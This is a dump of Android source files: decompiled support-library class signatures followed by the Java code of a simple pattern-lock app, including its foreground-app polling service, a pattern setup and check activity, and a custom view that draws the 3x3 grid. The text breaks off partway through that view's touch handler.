android/support/v4/text/BidiFormatter$Builder.class


package android.support.v4.text;
public final synchronized class BidiFormatter$Builder {
    private boolean mIsRtlContext;
    private int mFlags;
    private TextDirectionHeuristicCompat mTextDirectionHeuristicCompat;
    public void BidiFormatter$Builder();
    public void BidiFormatter$Builder(boolean);
    public void BidiFormatter$Builder(java.util.Locale);
    private void initialize(boolean);
    public BidiFormatter$Builder stereoReset(boolean);
    public BidiFormatter$Builder setTextDirectionHeuristic(TextDirectionHeuristicCompat);
    private static BidiFormatter getDefaultInstanceFromContext(boolean);
    public BidiFormatter build();
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionAlgorithm.class


package android.support.v4.text;
abstract interface TextDirectionHeuristicsCompat$TextDirectionAlgorithm {
    public abstract int checkRtl(CharSequence, int, int);
}










android/support/v4/text/ICUCompat$ICUCompatImplBase.class


package android.support.v4.text;
synchronized class ICUCompat$ICUCompatImplBase implements ICUCompat$ICUCompatImpl {
    void ICUCompat$ICUCompatImplBase();
    public String getScript(String);
    public String addLikelySubtags(String);
}










android/support/v4/text/ICUCompatIcs.class


package android.support.v4.text;
synchronized class ICUCompatIcs {
    private static final String TAG = ICUCompatIcs;
    private static reflect.Method sGetScriptMethod;
    private static reflect.Method sAddLikelySubtagsMethod;
    void ICUCompatIcs();
    public static String getScript(String);
    public static String addLikelySubtags(String);
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionHeuristicInternal.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$TextDirectionHeuristicInternal extends TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl {
    private final boolean mDefaultIsRtl;
    private void TextDirectionHeuristicsCompat$TextDirectionHeuristicInternal(TextDirectionHeuristicsCompat$TextDirectionAlgorithm, boolean);
    protected boolean defaultIsRtl();
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags {
    public int statsTag;
    private void TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags();
}










android/support/v4/net/ConnectivityManagerCompat$ConnectivityManagerCompatImpl.class


package android.support.v4.net;
abstract interface ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    public abstract boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat.class


package android.support.v4.net;
public synchronized class ConnectivityManagerCompat {
    private static final ConnectivityManagerCompat$ConnectivityManagerCompatImpl IMPL;
    public void ConnectivityManagerCompat();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
    public static android.net.NetworkInfo getNetworkInfoFromBroadcast(android.net.ConnectivityManager, android.content.Intent);
    static void <clinit>();
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    private ThreadLocal mThreadSocketTags;
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket);
    public void untagSocket(java.net.Socket);
}










android/support/v4/net/TrafficStatsCompat$TrafficStatsCompatImpl.class


package android.support.v4.net;
abstract interface TrafficStatsCompat$TrafficStatsCompatImpl {
    public abstract void clearThreadStatsTag();
    public abstract int getThreadStatsTag();
    public abstract void incrementOperationCount(int);
    public abstract void incrementOperationCount(int, int);
    public abstract void setThreadStatsTag(int);
    public abstract void tagSocket(java.net.Socket) throws java.net.SocketException;
    public abstract void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/TrafficStatsCompat$IcsTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$IcsTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    void TrafficStatsCompat$IcsTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket) throws java.net.SocketException;
    public void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/TrafficStatsCompatIcs.class


package android.support.v4.net;
synchronized class TrafficStatsCompatIcs {
    void TrafficStatsCompatIcs();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/ConnectivityManagerCompatGingerbread.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatGingerbread {
    void ConnectivityManagerCompatGingerbread();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$1 extends ThreadLocal {
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl$1(TrafficStatsCompat$BaseTrafficStatsCompatImpl);
    protected TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags initialValue();
}










android/support/v4/net/TrafficStatsCompat.class


package android.support.v4.net;
public synchronized class TrafficStatsCompat {
    private static final TrafficStatsCompat$TrafficStatsCompatImpl IMPL;
    public void TrafficStatsCompat();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
    static void <clinit>();
}










android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatHoneycombMR2 {
    void ConnectivityManagerCompatHoneycombMR2();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompatJellyBean.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatJellyBean {
    void ConnectivityManagerCompatJellyBean();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$1 {
}










android/support/v4/net/ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/print/PrintHelperKitkat$2$1$1.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$2$1$1 implements android.os.CancellationSignal$OnCancelListener {
    void PrintHelperKitkat$2$1$1(PrintHelperKitkat$2$1);
    public void onCancel();
}










android/support/v4/print/PrintHelperKitkat$2.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$2 extends android.print.PrintDocumentAdapter {
    private android.print.PrintAttributes mAttributes;
    android.os.AsyncTask loadBitmap;
    android.graphics.Bitmap mBitmap;
    void PrintHelperKitkat$2(PrintHelperKitkat, String, android.net.Uri, int);
    public void onLayout(android.print.PrintAttributes, android.print.PrintAttributes, android.os.CancellationSignal, android.print.PrintDocumentAdapter$LayoutResultCallback, android.os.Bundle);
    private void cancelLoad();
    public void onFinish();
    public void onWrite(android.print.PageRange[], android.os.ParcelFileDescriptor, android.os.CancellationSignal, android.print.PrintDocumentAdapter$WriteResultCallback);
}










android/support/v4/print/PrintHelper.class


package android.support.v4.print;
public final synchronized class PrintHelper {
    public static final int SCALE_MODE_FIT = 1;
    public static final int SCALE_MODE_FILL = 2;
    public static final int COLOR_MODE_MONOCHROME = 1;
    public static final int COLOR_MODE_COLOR = 2;
    public static final int ORIENTATION_LANDSCAPE = 1;
    public static final int ORIENTATION_PORTRAIT = 2;
    PrintHelper$PrintHelperVersionImpl mImpl;
    public static boolean systemSupportsPrint();
    public void PrintHelper(android.content.Context);
    public void setScaleMode(int);
    public int getScaleMode();
    public void setColorMode(int);
    public int getColorMode();
    public void setOrientation(int);
    public int getOrientation();
    public void printBitmap(String, android.graphics.Bitmap);
    public void printBitmap(String, android.net.Uri) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelperKitkat.class


package android.support.v4.print;
synchronized class PrintHelperKitkat {
    private static final String LOG_TAG = PrintHelperKitkat;
    private static final int MAX_PRINT_SIZE = 3500;
    final android.content.Context mContext;
    android.graphics.BitmapFactory$Options mDecodeOptions;
    private final Object mLock;
    public static final int SCALE_MODE_FIT = 1;
    public static final int SCALE_MODE_FILL = 2;
    public static final int ORIENTATION_LANDSCAPE = 1;
    public static final int ORIENTATION_PORTRAIT = 2;
    public static final int COLOR_MODE_MONOCHROME = 1;
    public static final int COLOR_MODE_COLOR = 2;
    int mScaleMode;
    int mColorMode;
    int mOrientation;
    void PrintHelperKitkat(android.content.Context);
    public void setScaleMode(int);
    public int getScaleMode();
    public void setColorMode(int);
    public void setOrientation(int);
    public int getOrientation();
    public int getColorMode();
    public void printBitmap(String, android.graphics.Bitmap);
    private android.graphics.Matrix getMatrix(int, int, android.graphics.RectF, int);
    public void printBitmap(String, android.net.Uri) throws java.io.FileNotFoundException;
    private android.graphics.Bitmap loadConstrainedBitmap(android.net.Uri, int) throws java.io.FileNotFoundException;
    private android.graphics.Bitmap loadBitmap(android.net.Uri, android.graphics.BitmapFactory$Options) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelper$PrintHelperStubImpl.class


package android.support.v4.print;
final synchronized class PrintHelper$PrintHelperStubImpl implements PrintHelper$PrintHelperVersionImpl {
    int mScaleMode;
    int mColorMode;
    int mOrientation;
    private void PrintHelper$PrintHelperStubImpl();
    public void setScaleMode(int);
    public int getColorMode();
    public void setColorMode(int);
    public void setOrientation(int);
    public int getOrientation();
    public int getScaleMode();
    public void printBitmap(String, android.graphics.Bitmap);
    public void printBitmap(String, android.net.Uri);
}










android/support/v4/print/PrintHelper$PrintHelperKitkatImpl.class


package android.support.v4.print;
final synchronized class PrintHelper$PrintHelperKitkatImpl implements PrintHelper$PrintHelperVersionImpl {
    private final PrintHelperKitkat mPrintHelper;
    void PrintHelper$PrintHelperKitkatImpl(android.content.Context);
    public void setScaleMode(int);
    public int getScaleMode();
    public void setColorMode(int);
    public int getColorMode();
    public void setOrientation(int);
    public int getOrientation();
    public void printBitmap(String, android.graphics.Bitmap);
    public void printBitmap(String, android.net.Uri) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelper$PrintHelperVersionImpl.class


package android.support.v4.print;
abstract interface PrintHelper$PrintHelperVersionImpl {
    public abstract void setScaleMode(int);
    public abstract int getScaleMode();
    public abstract void setColorMode(int);
    public abstract int getColorMode();
    public abstract void setOrientation(int);
    public abstract int getOrientation();
    public abstract void printBitmap(String, android.graphics.Bitmap);
    public abstract void printBitmap(String, android.net.Uri) throws java.io.FileNotFoundException;
}










android/support/v4/print/PrintHelperKitkat$2$1.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$2$1 extends android.os.AsyncTask {
    void PrintHelperKitkat$2$1(PrintHelperKitkat$2, android.os.CancellationSignal, android.print.PrintAttributes, android.print.PrintAttributes, android.print.PrintDocumentAdapter$LayoutResultCallback);
    protected void onPreExecute();
    protected transient android.graphics.Bitmap doInBackground(android.net.Uri[]);
    protected void onPostExecute(android.graphics.Bitmap);
    protected void onCancelled(android.graphics.Bitmap);
}










android/support/v4/print/PrintHelperKitkat$1.class


package android.support.v4.print;
synchronized class PrintHelperKitkat$1 extends android.print.PrintDocumentAdapter {
    private android.print.PrintAttributes mAttributes;
    void PrintHelperKitkat$1(PrintHelperKitkat, String, android.graphics.Bitmap, int);
    public void onLayout(android.print.PrintAttributes, android.print.PrintAttributes, android.os.CancellationSignal, android.print.PrintDocumentAdapter$LayoutResultCallback, android.os.Bundle);
    public void onWrite(android.print.PageRange[], android.os.ParcelFileDescriptor, android.os.CancellationSignal, android.print.PrintDocumentAdapter$WriteResultCallback);
}










android/support/v4/print/PrintHelper$1.class


package android.support.v4.print;
synchronized class PrintHelper$1 {
}
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/** Automatically generated file. DO NOT MODIFY */


package com.example.patternlock;





public final class BuildConfig {


    public final static boolean DEBUG = true;


}
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package com.example.patternlock;





import android.content.Context;


import android.content.SharedPreferences;





public class Check {


    


    private static Check shared;


     


    /**


     * 使用单例模式获取SharedUtil实例


     * 


     * @return


     */


    public static synchronized Check getIntence() {


        if (shared == null) {


            shared = new Check();


        }


        return shared;


    }


 


    /**


     * 获取是否验证过密码


     * 


     * @param context


     * @return


     */


    public boolean getIsFinished(Context context,String packagename) {


        SharedPreferences sp = context.getSharedPreferences("lock",


                Context.MODE_PRIVATE);


        boolean isFinished = sp.getBoolean(packagename, false);


        return isFinished;


    }


    


    public boolean getLockOpened(Context context,String packagename) {


        SharedPreferences sp = context.getSharedPreferences("lock",


                Context.MODE_PRIVATE);


        boolean isFinished = sp.getBoolean(packagename, false);


        return isFinished;


    }


 


    /**


     * 保存验证逻辑


     * 


     * @param context


     * @param isFinished


     */


    public void saveIsFinished(Context context,String packagename, boolean isFinished) {


        SharedPreferences sp = context.getSharedPreferences("lock",


                Context.MODE_PRIVATE);


        sp.edit().putBoolean(packagename, isFinished).commit();


    }


    public void saveOpened(Context context,String packagename, boolean isFinished) {


        SharedPreferences sp = context.getSharedPreferences("lock",


                Context.MODE_PRIVATE);


        sp.edit().putBoolean(packagename, isFinished).commit();


    }





}
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package com.example.patternlock;





import java.util.Timer;


import java.util.TimerTask;





import android.app.ActivityManager;


import android.app.Notification;


import android.app.Service;


import android.content.ComponentName;


import android.content.Context;


import android.content.Intent;


import android.content.SharedPreferences;


import android.os.Bundle;


import android.os.IBinder;


import android.os.Looper;


import android.util.Log;


import android.widget.Toast;





public class LockService extends Service{


    


    Context context;





    @Override


    public IBinder onBind(Intent arg0) {


        // TODO Auto-generated method stub


        return null;


    }


    


    private Timer timer;// 定时器


    public static final int FOREGROUND_ID = 0;


    ActivityManager am;


    Mydb dbs;


    String lastpack="";


   


 


    @Override


    public void onCreate() {


        super.onCreate();


        context=this.getApplicationContext();


        am = (ActivityManager) this.getSystemService("activity");


        dbs=new Mydb(this);


        startForeground(FOREGROUND_ID, new Notification());


        Log.i("patternlock", "serviceiscreate");


    }


 


    @Override


    public int onStartCommand(Intent intent, int flags, int startId) {


        startTimer();


        Log.i("patternlock", "timeriscreate");


        return super.onStartCommand(intent, flags, startId);


    }


 


    @Override


    public void onDestroy() {


        stopForeground(true);


        timer.cancel();


        timer.purge();


        timer = null;


        super.onDestroy();


    }


 


    /**


     * 启动定时器任务


     */


    private void startTimer() {


        if (timer == null) {


            


            new Timer().schedule(new TimerTask(){





                @Override


                public void run() {


                    // TODO Auto-generated method stub


                    //Looper.prepare();


                    Log.i("patternlock", "timerisstarted");


                    ComponentName cn = am.getRunningTasks(1).get(0).topActivity;


                    String packageName = cn.getPackageName();


                    String className=cn.getClassName();


                    Log.i("patternlock", packageName);


                        if(!lastpack.equals(packageName)&&!packageName.equals("com.example.patternlock")){


                            Check.getIntence().saveIsFinished(context, lastpack, false);


                            Check.getIntence().saveOpened(context, lastpack+"locked", false);


                        }


                        


                        if(dbs.query(packageName)){


                            if (Check.getIntence().getIsFinished(context,packageName)||Check.getIntence().getLockOpened(context, packageName+"locked")) {


                                //Toast.makeText(context, "foundbutlocked", 3000).show();


                                Log.i("patternlock", "checked");


                                return;


                            }else{


                                //Toast.makeText(context, "foundandshow", 3000).show();


                                Check.getIntence().saveOpened(context, packageName+"locked", true);


                                Intent intent = new Intent();


                                intent.setClassName("com.example.patternlock",


                                        "com.example.patternlock.WelActivity");


                                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);


                                Bundle bundle=new Bundle();


                                bundle.putString("packName", packageName);


                                intent.putExtras(bundle);


                                startActivity(intent);


                            }


                            lastpack=packageName;


                        }else{


                            //Toast.makeText(context, "didnotfind", 3000).show();


                            return;


                        }


                     // Looper.loop();


                }


                


            }, 1000, 1000);


           


        }


    }


    


   


}
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package com.example.patternlock;





import com.example.patternlock.LocusPassWordView.OnCompleteListener;





import android.os.Bundle;


import android.app.Activity;


import android.content.SharedPreferences;


import android.view.Menu;


import android.widget.TextView;


import android.widget.Toast;





public class Lockthis extends Activity {


    private LocusPassWordView mPwdView; 


    private TextView mark;


    String pwd,pwd1,pwd2;//缓存的原始密码,第一擦绘制的密码，第二次绘制的密码


    boolean First=true;//是否是初次绘制密码


    boolean setted=false;//是否设置过密码


    SharedPreferences sp;


    SharedPreferences.Editor  ed;





    @Override


    protected void onCreate(Bundle savedInstanceState) {


        super.onCreate(savedInstanceState);


        setContentView(R.layout.activity_lockthis);


        mark=(TextView)findViewById(R.id.marker);


        mPwdView = (LocusPassWordView) this.findViewById(R.id.mPassWordView);  


        sp =  getSharedPreferences("lock", Activity.MODE_PRIVATE); 


        ed=sp.edit();


        pwd = sp.getString("thispwd", ""); 


        if (pwd.length() == 0) {  


            setted=false;


            First=true;


            mark.setText("请设置解锁密码"); 


        }else{


            setted=true;


            mark.setText("请绘制密码解锁");


        }


        


        mPwdView.setOnCompleteListener(new OnCompleteListener() {  


            @Override  


            public void onComplete(String mPassword) {  


                 


                Md5Utils md5 = new Md5Utils();  


                boolean passed = false;  


                if (!setted&&First) {  


                    pwd1=mPassword;


                    ed.putString("thispwd", md5.toMd5(mPassword, "")); 


                    ed.commit();


                    mPwdView.clearPassword();


                    mark.setText("请确认密码");


                    First=false;


                    


                   // passed = true;  


                }else if(!setted&&!First){


                    pwd2=mPassword;


                    if(!pwd1.equals(pwd2)){


                        Toast.makeText(Lockthis.this, "与先前绘制的手势不同,请重新绘制", Toast.LENGTH_LONG).show();


                        mPwdView.clearPassword();


                    }else{


                        Toast.makeText(Lockthis.this, "密码设置成功,请绘制密码解锁", Toast.LENGTH_LONG   ).show();


                        mPwdView.clearPassword();


                        mark.setText("请绘制密码解锁");


                        setted=true;


                        pwd = sp.getString("thispwd", ""); 


                    }


                } else {  


                    String encodedPwd = md5.toMd5(mPassword, "");  


                    if (encodedPwd.equals(pwd)) {  


                        passed = true;  


                    } else {  


                        mPwdView.markError();  


                    }  


                }  


                  


                if (passed) {  


                    //Check.getIntence().saveIsFinished(WelActivity.this,packName, true);


                    //onDestroy();


                    finish();  


                }  


            }  


        });  


    


    }





    @Override


    public boolean onCreateOptionsMenu(Menu menu) {


        // Inflate the menu; this adds items to the action bar if it is present.


        getMenuInflater().inflate(R.menu.lockthis, menu);


        return true;


    }





}
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package com.example.patternlock;





import java.util.ArrayList;


import java.util.List;


import java.util.Timer;


import java.util.TimerTask;





import android.content.Context;


import android.graphics.Canvas;


import android.graphics.Paint;


import android.graphics.Paint.Style;


import android.graphics.Path;


import android.util.AttributeSet;


import android.util.Log;


import android.view.MotionEvent;


import android.view.View;


import android.widget.Toast;





public class LocusPassWordView extends View{


    


    private float width = 0;  


    private float height = 0;  


  


    //  


    private boolean isCache = false;  


    //  


    private Paint mPaint = new Paint(Paint.ANTI_ALIAS_FLAG);  


  


    //  


    private Point[][] mPoints = new Point[3][3];  


    //  


    private float dotRadius = 0;  


    //  


    private List<Point> sPoints = new ArrayList<Point>();  


    private boolean checking = false;  


    private long CLEAR_TIME = 1000;  


    private int pwdMaxLen = 9;  


    private int pwdMinLen = 4;  


    private boolean isTouch = true;  


      


    private Paint arrowPaint;  


    private Paint linePaint;  


    private Paint selectedPaint;  


    private Paint errorPaint;  


    private Paint normalPaint;  


    private int errorColor = 0xffea0945;  


    private int selectedColor = 0xff0596f6;  


    private int outterSelectedColor = 0xff8cbad8;  


    private int outterErrorColor = 0xff901032;  


    private int dotColor = 0xffd9d9d9;  


    private int outterDotColor = 0xff929292;  


  


    public LocusPassWordView(Context context, AttributeSet attrs, int defStyle) {  


        super(context, attrs, defStyle);  


    }  


  


    public LocusPassWordView(Context context, AttributeSet attrs) {  


        super(context, attrs);  


    }  


  


    public LocusPassWordView(Context context) {  


        super(context);  


    }  


  


    @Override  


    public void onDraw(Canvas canvas) {  


        if (!isCache) {  


            initCache();  


        }  


        drawToCanvas(canvas);  


    }  


  


    private void drawToCanvas(Canvas canvas) {  


        boolean inErrorState = false;  


        for (int i = 0; i < mPoints.length; i++) {  


            for (int j = 0; j < mPoints[i].length; j++) {  


                Point p = mPoints[i][j];  


                if (p.state == Point.STATE_CHECK) {  


                    selectedPaint.setColor(outterSelectedColor);    


                    canvas.drawCircle(p.x, p.y, dotRadius, selectedPaint);  


                    selectedPaint.setColor(selectedColor);  


                    canvas.drawCircle(p.x, p.y, dotRadius/4, selectedPaint);  


                } else if (p.state == Point.STATE_CHECK_ERROR) {  


                    inErrorState = true;  


                    errorPaint.setColor(outterErrorColor);  


                    canvas.drawCircle(p.x, p.y, dotRadius, errorPaint);  


                    errorPaint.setColor(errorColor);  


                    canvas.drawCircle(p.x, p.y, dotRadius/4, errorPaint);  


                } else {  


                    normalPaint.setColor(dotColor);  


                    canvas.drawCircle(p.x, p.y, dotRadius, normalPaint);  


                    normalPaint.setColor(outterDotColor);  


                    canvas.drawCircle(p.x, p.y, dotRadius/4, normalPaint);  


                }  


            }  


        }  


          


        if (inErrorState) {  


            arrowPaint.setColor(errorColor);  


            linePaint.setColor(errorColor);  


        } else {  


            arrowPaint.setColor(selectedColor);  


            linePaint.setColor(selectedColor);  


        }  


  


        if (sPoints.size() > 0) {  


            int tmpAlpha = mPaint.getAlpha();  


            Point tp = sPoints.get(0);  


            for (int i = 1; i < sPoints.size(); i++) {  


                Point p = sPoints.get(i);  


                drawLine(tp, p, canvas, linePaint);  


                drawArrow(canvas, arrowPaint, tp, p, dotRadius/4, 38);  


                tp = p;  


            }  


            if (this.movingNoPoint) {  


                drawLine(tp, new Point(moveingX, moveingY, -1), canvas, linePaint);  


            }  


            mPaint.setAlpha(tmpAlpha);  


        }  


  


    }  


      


    private void drawLine(Point start, Point end, Canvas canvas, Paint paint) {  


        double d = MathUtil.distance(start.x, start.y, end.x, end.y);  


        float rx = (float) ((end.x-start.x) * dotRadius / 4 / d);  


        float ry = (float) ((end.y-start.y) * dotRadius / 4 / d);  


        canvas.drawLine(start.x+rx, start.y+ry, end.x-rx, end.y-ry, paint);  


    }  


      


    private void drawArrow(Canvas canvas, Paint paint, Point start, Point end, float arrowHeight, int angle) {  


        double d = MathUtil.distance(start.x, start.y, end.x, end.y);  


        float sin_B = (float) ((end.x - start.x) / d);  


        float cos_B = (float) ((end.y - start.y) / d);  


        float tan_A = (float) Math.tan(Math.toRadians(angle));  


        float h = (float) (d - arrowHeight - dotRadius * 1.1);  


        float l = arrowHeight * tan_A;  


        float a = l * sin_B;  


        float b = l * cos_B;  


        float x0 = h * sin_B;  


        float y0 = h * cos_B;  


        float x1 = start.x + (h + arrowHeight) * sin_B;  


        float y1 = start.y + (h + arrowHeight) * cos_B;  


        float x2 = start.x + x0 - b;  


        float y2 = start.y + y0 + a;  


        float x3 = start.x + x0 + b;  


        float y3 = start.y + y0 - a;  


        Path path = new Path();  


        path.moveTo(x1, y1);  


        path.lineTo(x2, y2);  


        path.lineTo(x3, y3);  


        path.close();  


        canvas.drawPath(path, paint);  


    }  


  


    private void initCache() {  


        width = this.getWidth();  


        height = this.getHeight();  


        float x = 0;  


        float y = 0;  


  


        if (width > height) {  


            x = (width - height) / 2;  


            width = height;  


        } else {  


            y = (height - width) / 2;  


            height = width;  


        }  


          


        int leftPadding = 15;  


        float dotPadding = width / 3 - leftPadding;  


        float middleX = width / 2;  


        float middleY = height / 2;  


  


        mPoints[0][0] = new Point(x + middleX - dotPadding, y + middleY - dotPadding, 1);  


        mPoints[0][1] = new Point(x + middleX, y + middleY - dotPadding, 2);  


        mPoints[0][2] = new Point(x + middleX + dotPadding, y + middleY - dotPadding, 3);  


        mPoints[1][0] = new Point(x + middleX - dotPadding, y + middleY, 4);  


        mPoints[1][1] = new Point(x + middleX, y + middleY, 5);  


        mPoints[1][2] = new Point(x + middleX + dotPadding, y + middleY, 6);  


        mPoints[2][0] = new Point(x + middleX - dotPadding, y + middleY + dotPadding, 7);  


        mPoints[2][1] = new Point(x + middleX, y + middleY + dotPadding, 8);  


        mPoints[2][2] = new Point(x + middleX + dotPadding, y + middleY + dotPadding, 9);  


          


        Log.d("jerome", "canvas width:"+width);  


        dotRadius = width / 10;  


        isCache = true;  


          


        initPaints();  


    }  


      


    private void initPaints() {  


        arrowPaint = new Paint();  


        arrowPaint.setColor(selectedColor);  


        arrowPaint.setStyle(Style.FILL);  


        arrowPaint.setAntiAlias(true);  


          


        linePaint = new Paint();  


        linePaint.setColor(selectedColor);  


        linePaint.setStyle(Style.STROKE);  


        linePaint.setAntiAlias(true);  


        linePaint.setStrokeWidth(dotRadius / 9);  


          


        selectedPaint = new Paint();   


        selectedPaint.setStyle(Style.STROKE);  


        selectedPaint.setAntiAlias(true);   


        selectedPaint.setStrokeWidth(dotRadius / 6);  


          


        errorPaint = new Paint();  


        errorPaint.setStyle(Style.STROKE);  


        errorPaint.setAntiAlias(true);   


        errorPaint.setStrokeWidth(dotRadius / 6);  


          


        normalPaint = new Paint();  


        normalPaint.setStyle(Style.STROKE);  


        normalPaint.setAntiAlias(true);   


        normalPaint.setStrokeWidth(dotRadius / 9);    


    }  


  


    /** 


     * 


     *  


     * @param index 


     * @return 


     */  


    public int[] getArrayIndex(int index) {  


        int[] ai = new int[2];  


        ai[0] = index / 3;  


        ai[1] = index % 3;  


        return ai;  


    }  


  


    /** 


     * @param x 


     * @param y 


     * @return 


     */  


    private Point checkSelectPoint(float x, float y) {  


        for (int i = 0; i < mPoints.length; i++) {  


            for (int j = 0; j < mPoints[i].length; j++) {  


                Point p = mPoints[i][j];  


                if (MathUtil.checkInRound(p.x, p.y, dotRadius, (int) x, (int) y)) {  


                    return p;  


                }  


            }  


        }  


        return null;  


    }  


  


    /** 


     * 


     */  


    private void reset() {  


        for (Point p : sPoints) {  


            p.state = Point.STATE_NORMAL;  


        }  


        sPoints.clear();  


        this.enableTouch();  


    }  


  


    /** 


     * 


     *  


     * @param p 


     * @return 


     */  


    private int crossPoint(Point p) {  


        // reset  


        if (sPoints.contains(p)) {  


            if (sPoints.size() > 2) {  


                //  


                if (sPoints.get(sPoints.size() - 1).index != p.index) {  


                    return 2;  


                }  


            }  


            return 1; //  


        } else {  


            return 0; //  


        }  


    }  


  


    /** 


     * 


     *  


     * @param point 


     */  


    private void addPoint(Point point) {  


        if (sPoints.size() > 0) {  


            Point lastPoint = sPoints.get(sPoints.size() - 1);  


            int dx = Math.abs(lastPoint.getColNum() - point.getColNum());  


            int dy = Math.abs(lastPoint.getRowNum() - point.getRowNum());  


            if ((dx > 1 || dy > 1) && (dx == 0 || dy == 0 || dx == dy)) {  


//          if ((dx > 1 || dy > 1) && (dx != 2 * dy) && (dy != 2 * dx)) {  


                int middleIndex = (point.index + lastPoint.index) / 2 - 1;  


                Point middlePoint = mPoints[middleIndex / 3][middleIndex % 3];  


                if (middlePoint.state != Point.STATE_CHECK) {  


                    middlePoint.state = Point.STATE_CHECK;  


                    sPoints.add(middlePoint);  


                }  


            }  


        }  


        this.sPoints.add(point);  


    }  


  


    /** 


     * 


     *  


     * @param points 


     * @return 


     */  


    private String toPointString() {  


        if (sPoints.size() >= pwdMinLen && sPoints.size() <= pwdMaxLen) {  


            StringBuffer sf = new StringBuffer();  


            for (Point p : sPoints) {  


                sf.append(p.index);  


            }  


            return sf.toString();  


        } else {  


            return "";  


        }  


    }  


  


    boolean movingNoPoint = false;  


    float moveingX, moveingY;  


  


    @Override  


    public boolean onTouchEvent(MotionEvent event) {  


        //  


        if (!isTouch) {  


            return false;  


        }  


  


        movingNoPoint = false;  


  


        float ex = event.getX();  


        float ey = event.getY();  


        boolean isFinish = false;  


        boolean redraw = false;  


        Point p = null;  


        switch (event.getAction()) {  


        case MotionEvent.ACTION_DOWN: //  


            //  


            if (task != null) {  


                task.cancel();  


                task = null;  


                Log.d("task", "touch cancel()");  


            }  


            //  


            reset();  


            p = checkSelectPoint(ex, ey);  


            if (p != null) {  


                checking = true;  


            }  


            break;  


        case MotionEvent.ACTION_MOVE:  


            if (checking) {  


                p = checkSelectPoint(ex, ey);  


